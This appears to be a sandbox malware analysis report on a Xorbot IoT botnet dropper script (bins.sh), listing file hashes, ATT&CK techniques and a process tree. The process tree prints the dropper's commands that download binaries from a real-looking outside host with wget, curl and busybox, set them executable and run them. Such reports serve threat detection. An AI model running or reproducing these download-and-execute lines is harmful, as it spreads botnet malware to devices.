xorbot | e0c5c9dc999c2ee0daea5cbf1fc7994356979631e611157f420c261e19225f20

Analysis

max time kernel
140s
max time network
149s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
01/12/2024, 10:34

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General

Target

bins.sh
Size

10KB
MD5

f84f95a5867eb76b279c716d6d2adb86
SHA1

dd07fb31c48c4e26a796f1bd78c7da85ad1bcf4a
SHA256

e0c5c9dc999c2ee0daea5cbf1fc7994356979631e611157f420c261e19225f20
SHA512

d83ed19c16c48a063f350e5774707c2cdd72abb1992365838f9b92d35bc6661c5629ef778ee16574996f4eef9d285056e1ea2a1ef631fc0035f5ccda521848b4
SSDEEP

96:YWGtG2PwLA8KLNNIl4l0lJFuwBsw+yKFXZLYU9L+uvHwssFUlBl5laLi6Osi5iRD:pWeIp9gFu3/aCHAoS/kamZAoks3/S

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
824	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb	825	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
722	wget
743	curl
745	busybox
828	wget
829	curl
831	busybox

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb	wget
File opened for modification	/tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb	curl
File opened for modification	/tmp/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas	wget
File opened for modification	/tmp/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:716
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:720
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:722
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  2⤵
  - System Network Configuration Discovery
  PID:745
- /bin/chmod
  chmod 777 mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  ./mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  2⤵
  PID:827
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:828
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:829
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
  2⤵
  - System Network Configuration Discovery
  PID:831

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit